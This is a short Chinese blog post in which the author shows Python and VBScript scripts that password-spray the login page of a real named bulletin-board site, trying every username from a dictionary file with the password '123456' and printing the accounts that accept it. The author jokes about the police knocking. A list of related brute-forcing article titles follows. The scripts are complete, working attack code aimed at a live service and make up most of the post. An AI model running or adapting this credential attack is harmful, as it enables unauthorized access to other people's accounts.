Python牛刀小试密码爆破
2011-02-03 00:00
691 查看
难道真的要我破解一个么?算了,正好试试我的Python水平。
python版
顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
python版
#coding: gbk import httplib, urllib def Check(username, password): params = urllib.urlencode( {'userid': username, 'passwd': password}) headers = {"Content-type": "application/x-www-form-urlencoded"} conn = httplib.HTTPSConnection("www.bdwm.net") conn.request("POST", "/bbs/bbslog2.php", params, headers) res = conn.getresponse().read() conn.close() if res.find("密码不正确") != -1: return False elif res.find("不存在这个用户") != -1: return False else: return True for i in open("English.Dic"): if Check(i.rstrip(),"123456"): print i
顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso Set fso = CreateObject("scripting.filesystemobject") With fso.OpenTextFile("English.Dic",1) Do Until .AtEndOfStream id = .ReadLine If Check(id,"123456") Then WScript.Echo id & vbTab &"OK" End If Loop End With Function Check(username,password) Dim http Set http = CreateObject("Msxml2.XMLHTTP") http.open _ "POST","https://www.bdwm.net/bbs/bbslog2.php",False http.setRequestHeader _ "Content-Type","application/x-www-form-urlencoded" http.send "userid=" & username & "&passwd=" & password response = AnsiToUnicode(http.responseBody) If InStr(response,"密码不正确") Then Check = False ElseIf InStr(response,"不存在这个用户") Then Check = False Else Check = True End If End Function Function AnsiToUnicode(str) Dim ado Set ado = CreateObject("adodb.stream") ado.Type = 1 ado.Open ado.Write str ado.Position = 0 ado.Type = 2 ado.Charset = "gb2312" AnsiToUnicode = ado.ReadText End Function
事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
相关文章推荐
- 使用python对登录密码爆破
- [置顶] Python在线爆破邮箱账号密码测试代码(亲测可用)
- Python绝技笔记--------FTP匿名访问检测、用户名密码爆破、扫描是否存在web服务默认网页
- Python 测试密码极速爆破工具 – cheetah
- Python绝技笔记--------Zip压缩文件密码爆破小脚本
- CTF writeup:python脚本爆破zip密码
- Python实现的密码强度检测器示例
- DAY2 Python 标准库 -> Getpass 模块 -> 命令行下输入密码的方法.
- 使用python实现简单的序列密码
- Python尝试破解wifi无线密码
- Python 设置 IP 代理 访问网页 ( 用户名密码验证代理 )
- python 写的http后台弱口令爆破工具
- Python 暴力破解武汉大学图书馆密码程序
- 2015/9/3 Python密码输入屏蔽字符
- Python 判断密码等级的强弱,不使用正则表达式
- python 穷举密码
- Python生成随机密码
- python getpass模块:隐藏不显示输入的密码
- Python 的pexpect 破解主机密码